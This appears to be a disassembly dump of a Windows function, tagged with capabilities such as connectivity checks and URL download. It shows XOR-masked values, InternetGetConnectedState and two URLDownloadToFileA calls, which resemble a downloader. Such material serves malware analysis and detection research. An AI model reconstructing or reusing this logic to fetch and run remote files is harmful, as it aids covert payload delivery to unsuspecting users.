Function at 0x401000
Capabilities:
Accept command line arguments
Allocate thread local storage
Check internet connectivity via wininet
Download url
Receive data

Disassembly:
push 0x90
push 0
push 0x18c175c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x18c1760], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x18c175c], eax
call fcn.004079c0
call fcn.004069a0
call fcn.00406700
call fcn.0040621b
call fcn.0040601d
call fcn.0040534b
call fcn.00404b17
call fcn.00404a4a
call fcn.004049da
call fcn.00404733
call fcn.0040413b
call fcn.00403dff
call fcn.00403180
mov edx, dword [0x18c18ac]
push edx
push edx
call fcn.0040624a
push 0x18c17a0
call fcn.00407a40
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c17a0]
call fcn.00406852
push 0x18c17a0
call fcn.00407a40
mov edx, 0x40a02e
lea ecx, [0x18c1780]
call fcn.00403008
mov edx, 0x40a02e
lea ecx, [0x18c178c]
call fcn.00403008
mov edx, 0x40a02e
lea ecx, [0x18c17a4]
call fcn.00403008
mov dword [0x18c17cc], 0
push dword [0x18c18ac]
push 3
mov edx, dword [0x18c18ac]
push edx
push edx
call fcn.0040624a
inc dword [0x18c18ac]
push 0
mov edx, dword [0x18c0a38]
add dword [esp + 4], edx
call fcn.00406c10
pop dword [0x18c18ac]
push 0
call fcn.00406ce0
mov dword [0x18c17a8], eax
mov dword [0x18c1794], 1
mov ebx, dword [0x18c17a8]
add ebx, 0xfffffff8
cmp ebx, dword [0x18c1794]
jl 0x40117c
push 0
call fcn.00406d40
mov byte [0x18c17e8], al
mov ebx, dword [0x18c17d0]
movzx eax, byte [0x18c17e8]
add ebx, eax
mov dword [0x18c17d0], ebx
inc dword [0x18c1794]
jno 0x40113f
push 0
call fcn.00406da0
mov dword [0x18c17e0], eax
push 0
call fcn.00406da0
mov dword [0x18c1778], eax
push 0
call fcn.00406920
mov eax, dword [0x18c17d0]
mov dword [0x18c17b8], eax
push dword [0x18c18ac]
push 3
mov edx, dword [0x18c18ac]
push edx
push edx
call fcn.0040624a
inc dword [0x18c18ac]
push 0
mov edx, dword [0x18c0a38]
add dword [esp + 4], edx
call fcn.00406c10
pop dword [0x18c18ac]
mov ebx, eax
and ebx, ebx
jle 0x40156b
mov dword [0x18c1794], 1
mov eax, 0x3b8
cmp eax, dword [0x18c1794]
jl 0x40121e
push 0
call fcn.00406e00
mov dword [0x18c1790], eax
inc dword [0x18c1794]
jno 0x4011fa
mov dword [0x18c1794], 0x3b9
mov eax, 0x3c0
cmp eax, dword [0x18c1794]
jl 0x4012bc
push 0
call fcn.00406e00
mov dword [0x18c1790], eax
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c18ac]
push 1
mov eax, dword [0x18c1790]
cdq
push edx
push eax
call fcn.00405400
mov edx, dword [0x18c0a38]
add dword [esp], edx
call fcn.004054b0
pop dword [0x18c18ac]
mov dword [0x18c1790], eax
mov edx, dword [0x18c1780]
push dword [0x18c18ac]
call fcn.00407ac0
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c1790]
call fcn.00405600
pop eax
push 0x18c1780
call fcn.00407a40
inc dword [0x18c1794]
jno 0x401228
push dword [0x18c1780]
call fcn.004023fa
mov dword [0x18c1790], eax
mov ebx, dword [0x18c1790]
xor ebx, 0x98989898
mov dword [0x18c1790], ebx
mov eax, dword [0x18c1790]
mov dword [0x18c17b0], eax
mov edx, dword [0x18c18ac]
push edx
push edx
push 0xa
push dword [0x18c18ac]
mov edx, 0x40a01e
call fcn.00407ac0
mov edx, dword [0x18c18ac]
push edx
push edx
mov eax, dword [0x18c1790]
cdq
push edx
push eax
call fcn.00405790
pop eax
mov edx, dword [0x18c0a38]
add dword [esp], edx
call fcn.00405820
push 0x18c1780
call fcn.00407a40
mov dword [0x18c1794], 0x3c1
mov eax, 0x3c8
cmp eax, dword [0x18c1794]
jl 0x4013d1
push 0
call fcn.00406e00
mov dword [0x18c1790], eax
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c18ac]
push 1
mov eax, dword [0x18c1790]
cdq
push edx
push eax
call fcn.00405400
mov edx, dword [0x18c0a38]
add dword [esp], edx
call fcn.004054b0
pop dword [0x18c18ac]
mov dword [0x18c1790], eax
mov edx, dword [0x18c178c]
push dword [0x18c18ac]
call fcn.00407ac0
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c1790]
call fcn.00405600
pop eax
push 0x18c178c
call fcn.00407a40
inc dword [0x18c1794]
jno 0x40133d
push dword [0x18c178c]
call fcn.004023fa
mov dword [0x18c1764], eax
mov dword [0x18c1794], 0x3c9
mov eax, 0x3d0
cmp eax, dword [0x18c1794]
jl 0x40147f
push 0
call fcn.00406e00
mov dword [0x18c1790], eax
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c18ac]
push 1
mov eax, dword [0x18c1790]
cdq
push edx
push eax
call fcn.00405400
mov edx, dword [0x18c0a38]
add dword [esp], edx
call fcn.004054b0
pop dword [0x18c18ac]
mov dword [0x18c1790], eax
mov edx, dword [0x18c17a4]
push dword [0x18c18ac]
call fcn.00407ac0
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c1790]
call fcn.00405600
pop eax
push 0x18c17a4
call fcn.00407a40
inc dword [0x18c1794]
jno 0x4013eb
push dword [0x18c17a4]
call fcn.004023fa
mov dword [0x18c1790], eax
mov eax, dword [0x18c1790]
mov dword [0x18c1788], eax
mov dword [0x18c1794], 0x3d1
mov ebx, dword [0x18c1788]
dec ebx
cmp ebx, dword [0x18c1794]
jl 0x4014c9
push 0
call fcn.00406e00
mov dword [0x18c1790], eax
inc dword [0x18c1794]
jno 0x4014a3
mov eax, dword [0x18c1788]
mov dword [0x18c1794], eax
mov ebx, dword [0x18c1788]
add ebx, 0x12
cmp ebx, dword [0x18c1794]
jl 0x40150d
push 0
call fcn.00406e00
mov dword [0x18c1790], eax
mov ebx, dword [0x18c17cc]
add ebx, dword [0x18c1790]
mov dword [0x18c17cc], ebx
inc dword [0x18c1794]
jno 0x4014d3
mov ebx, dword [0x18c1764]
xor ebx, dword [0x18c17cc]
mov dword [0x18c17e4], ebx
mov ebx, dword [0x18c17e4]
and ebx, ebx
jne 0x401533
mov dword [0x18c17e4], 0x63
mov ebx, dword [0x18c17e4]
xor ebx, 0x98989898
mov dword [0x18c17e4], ebx
mov eax, dword [0x18c17b0]
mov dword [0x18c1774], eax
mov ebx, dword [0x18c17b0]
cmp ebx, dword [0x18c17e4]
jne 0x40155f
jmp 0x401569
mov dword [0x18c1784], 0x21
jmp 0x401575
mov dword [0x18c1784], 0xb
mov ebx, dword [0x18c1778]
cmp ebx, dword [0x18c17a8]
jne 0x401585
jmp 0x40158f
mov dword [0x18c1784], 0x37
push 0
push 0
call sub.WININET.DLL_InternetGetConnectedState
and eax, eax
je 0x4015a4
jmp 0x4015d8
push dword [0x18c1774]
call fcn.00402000
mov ebx, eax
and ebx, ebx
jne 0x4015d8
push 0
push 0x40a10b
push 0x40a0b6
call fcn.00406054
mov dword [0x18c1784], 0x63
jmp 0x4019b0
mov edx, dword [0x18c18ac]
push edx
push edx
call fcn.00406864
mov edx, 0x40a0dd
call fcn.00407ac0
push 0x18c17ac
call fcn.00407a40
push dword [0x18c18ac]
mov edx, 0x40a203
call fcn.00407ac0
mov edx, dword [0x18c18ac]
push edx
push edx
mov eax, dword [0x18c1774]
cdq
push edx
push eax
xor dword [esp], 0x7b3d89b
xor dword [esp + 4], 0
pop eax
pop edx
push edx
push eax
call fcn.00405790
pop eax
mov edx, 0x40a02f
call fcn.00407ac0
push 0x18c17d4
call fcn.00407a40
mov edx, 0x40a086
lea ecx, [0x18c17b4]
call fcn.00403008
mov edx, dword [0x18c17d4]
push dword [0x18c18ac]
call fcn.00407ac0
push 0x18c17d8
call fcn.00407a40
mov edx, dword [0x18c17b4]
push dword [0x18c18ac]
call fcn.00407ac0
push 0x18c17bc
call fcn.00407a40
push 0
push 0
mov eax, dword [0x18c17ac]
push eax
mov eax, dword [0x18c17bc]
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov dword [0x18c17c0], eax
mov ebx, dword [0x18c17c0]
and ebx, ebx
jne 0x4016ba
jmp 0x4016ee
push dword [0x18c1774]
call fcn.00402000
mov ebx, eax
and ebx, ebx
jne 0x4016ee
mov dword [0x18c1784], 0xe
push 0
push 0x40a10b
push 0x40a0b6
call fcn.00406054
jmp 0x4019b0
push 0
push 0
mov eax, dword [0x18c17ac]
push eax
mov eax, dword [0x18c17d8]
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov dword [0x18c1770], eax
mov ebx, dword [0x18c1770]
and ebx, ebx
jne 0x401740
mov dword [0x18c1784], 0x4e
push 0
push 0x40a061
push 0x40a0ef
call fcn.00406054
jmp 0x4019b0
push 1
push 0x40a03d
push 0
push 0xe6
push dword [0x18c179c]
push dword [0x18c1798]
push 0x63
call fcn.00403490
mov dword [0x18c1768], eax
push 0x5dc
call fcn.00405361
push 0x63
call fcn.00403053
mov edx, dword [0x18c18ac]
push edx
push edx
call sub.KERNEL32.dll_GetCommandLineA
push eax
call fcn.00406730
push 0x18c17c4
call fcn.00407a40
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c17c4]
call fcn.00406852
push 0x18c17c4
call fcn.00407a40
mov edx, dword [0x18c18ac]
push edx
push edx
push 1
push 0x40a07c
push dword [0x18c17c4]
call fcn.00405890
mov ebx, eax
add ebx, 3
push ebx
push dword [0x18c17c4]
call fcn.004058f0
push 0x18c17c4
call fcn.00407a40
push 0x3e8
call fcn.00406780
mov dword [0x18c176c], eax
mov edx, dword [0x18c18ac]
push edx
push edx
call fcn.00406864
push 0x18c17c8
call fcn.00407a40
push dword [0x18c18ac]
mov edx, dword [0x18c17c8]
push dword [0x18c18ac]
call fcn.00407ac0
mov edx, 0x40a0e7
call fcn.00407ac0
inc dword [0x18c18ac]
push 0
mov edx, dword [0x18c0a38]
add dword [esp + 4], edx
call fcn.00406b40
pop dword [0x18c18ac]
and eax, eax
je 0x40188b
mov ebp, 0x18c0a38
mov ebx, ebp
mov ebp, 0x18bfe38
sub ebx, ebp
push ebx
mov ebp, 0x18bfe38
push ebp
push 0
call fcn.00406e60
push 0
call fcn.00406920
jmp 0x40189f
push 0x40a1d3
push 0x40a105
call fcn.00406083
jmp 0x4019b0
mov edx, dword [0x18c18ac]
push edx
push edx
call fcn.0040624a
push 0x18c17a0
call fcn.00407a40
mov edx, dword [0x18c18ac]
push edx
push edx
push dword [0x18c17a0]
call fcn.00406852
push 0x18c17a0
call fcn.00407a40
mov edx, 0x40a1ba
lea ecx, [0x18c17dc]
call fcn.00403008
push dword [0x18c18ac]
mov edx, dword [0x18c17c8]
push dword [0x18c18ac]
call fcn.00407ac0
mov edx, dword [0x18c17dc]
call fcn.00407ac0
inc dword [0x18c18ac]
push 0
mov edx, dword [0x18c0a38]
add dword [esp + 4], edx
call fcn.00406b40
pop dword [0x18c18ac]
and eax, eax
je 0x40195c
mov ebp, 0x18bfe38
mov ebx, ebp
mov ebp, 0x40a238
sub ebx, ebp
push ebx
mov ebp, 0x40a238
mov ebx, ebp
add ebx, dword [0x18c1784]
push ebx
push 0
call fcn.00406e60
push 0
call fcn.00406920
jmp 0x40195c
push 0x3e8
call fcn.00405361
push dword [0x18c18ac]
push 0
push 1
push 0x40a02e
push 0x40a0ce
mov edx, dword [0x18c17c8]
push dword [0x18c18ac]
call fcn.00407ac0
mov edx, dword [0x18c17dc]
call fcn.00407ac0
mov edx, dword [0x18c0a38]
add dword [esp], edx
call fcn.004062dc
pop dword [0x18c18ac]
push 0
call 0x4019cf
call fcn.00407a10
push dword [0x18c175c]
call sub.KERNEL32.dll_HeapDestroy
call sub.KERNEL32.dll_ExitProcess
call fcn.00403169
call fcn.004040b1
call fcn.004047a3
call fcn.00404a3e
call fcn.00404ba5
call fcn.004068c5
call fcn.00406990
call fcn.00406720
ret